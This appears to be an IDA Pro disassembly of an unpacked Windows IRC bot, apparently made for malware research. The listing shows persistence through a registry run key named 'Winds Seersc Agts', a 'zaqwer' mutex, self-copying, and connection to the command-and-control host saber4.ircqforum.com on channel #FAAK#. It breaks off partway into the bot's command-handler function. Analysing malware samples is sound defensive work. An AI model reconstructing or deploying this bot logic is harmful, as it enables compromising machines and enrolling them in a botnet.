;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	BCFFBED2C820AE6C642EE71AB19CBC32

; File Name   :	u:\work\bcffbed2c820ae6c642ee71ab19cbc32_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_41835A+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindsSeerscAgt ; "Winds Seersc Agts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB608
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB678
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB5B8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB630
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416644p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E59C
		call	dword_4CB6EC
		call	sub_40B2C0
		call	dword_4CB5AC
		call	dword_4CB5AC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D808
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26709BBh
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2660BFCh
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D800
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418685
		pop	ecx
		mov	dword_4CB390, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB394, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B13
		push	2
		call	dword_4CB700
		push	7530h
		push	offset aZaqwer	; "zaqwer"
		push	ebx
		push	ebx
		nop
		call	near ptr 2690245h
		push	eax
		call	near ptr 26901BDh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB5C4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26709BBh
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_42910C
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42910C[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2680DD8h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680D13h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2680932h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 2670EC7h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418294
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2680D13h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D808
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26808C0h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2680253h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2660BFCh
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2670EC7h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB5AC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB974, 2
		jle	short loc_401562
		mov	eax, dword_4DB978
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26901BDh
		push	esi
		nop
		call	near ptr 26608E1h
		mov	eax, dword_4DB978
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670EC7h
		mov	eax, dword_4DB978
		push	dword ptr [eax+8]
		nop
		call	near ptr 26801B8h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB724, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F7
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	0B80h
		push	ebx
		push	offset dword_43D810
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419A01
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		push	2
		call	sub_40B33F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		mov	dword_4CB508, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB41C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB45C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4F0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB398
		mov	dword_4CB504, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB504, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2670EC7h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber4_ircqfor ; "saber4.ircqforum.com"
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E8, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E8
		push	offset dword_4CB39C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4EC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2C0


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB5AC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Bo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E5A8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6D4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E59C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6EC
		call	sub_40AB23
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2670EC7h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415221
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6EC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB500, bl
		jz	short loc_40199A
		push	offset byte_4CB500
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2D
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6EC
		push	1388h
		nop
		call	near ptr 2670EC7h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
